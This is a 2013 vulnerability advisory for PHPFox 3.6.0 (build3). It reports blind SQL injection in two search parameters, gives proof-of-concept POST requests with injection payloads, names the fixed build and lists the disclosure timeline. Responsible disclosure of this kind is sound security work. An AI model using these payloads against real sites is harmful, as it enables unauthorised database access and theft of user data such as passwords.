PHPFox 3.6.0 SQL Injection

`------------------------------------------------------------  
PHPFox v3.6.0 (build3) Multiple SQL Injection vulnerabilities  
------------------------------------------------------------  
  
== Description ==  
- Software link: http://www.phpfox.com  
- Affected versions: version 3.6.0 (build3) is vulnerable. Other  
versions might be affected as well.  
- Vulnerability discovered by: Matias Fontanini  
  
== Vulnerabilities ==  
When performing POST requests to /user/browse/view_/, the  
"search[gender]" and "search[sort_by]" parameters are not correctly  
sanitized before being used to construct SQL queries, making them  
vulnerable to Blind SQL Injection attacks.  
  
== Proof of concept ==  
  
- For the "search[gender]" parameter, using the condition "1=0" so  
that no results are returned:  
  
POST /user/browse/view_/  
core[security_token]=0db230b2a8b6755b8cfe60d97fb1a613&search[gender]=2  
and 1=0search[from]=&search[to]=&search[country]=&null=1&search[city]=&search[zip]=&search[keyword]=&search[type]=0&search[submit]=Submit&custom[1]=&custom[2]=&custom[3]=&custom[4]=&custom[5]=&custom[6]=&custom[7]=&search[sort]=u.last_login&search[sort_by]=DESC  
  
- The "search[sort_by]" parameter is inserted in a "order by" clause.  
Therefore, an attacker could exploit it by making the application sort  
the results based on a different criteria, depending on whether the  
query was successful:  
  
POST /user/browse/view_/  
core[security_token]=0db230b2a8b6755b8cfe60d97fb1a613&search[gender]=2&search[from]=&search[to]=&search[country]=&null=1&search[city]=&search[zip]=&search[keyword]=&search[type]=0&search[submit]=Submit&custom[1]=&custom[2]=&custom[3]=&custom[4]=&custom[5]=&custom[6]=&custom[7]=&search[sort]=u.last_login&search[sort_by]=ASC,(case  
when (select 1 from dual) then birthday_search else password end)  
  
== Solution ==  
Upgrade the product to the 3.6.0 (build6) version. Note that builds 4  
and 5 also contain the vulnerability present in the "search[sort_by]"  
parameter, but not the other one.  
  
== Report timeline ==  
[2013-07-30] Vulnerability reported to vendor.  
[2013-07-30] Developers answered back indicating that an update would  
be released soon.  
[2013-08-07] PHPFox 3.6.0 (build6) was released, which fixed all of  
the issues reported.  
[2013-08-07] Public disclosure.  
`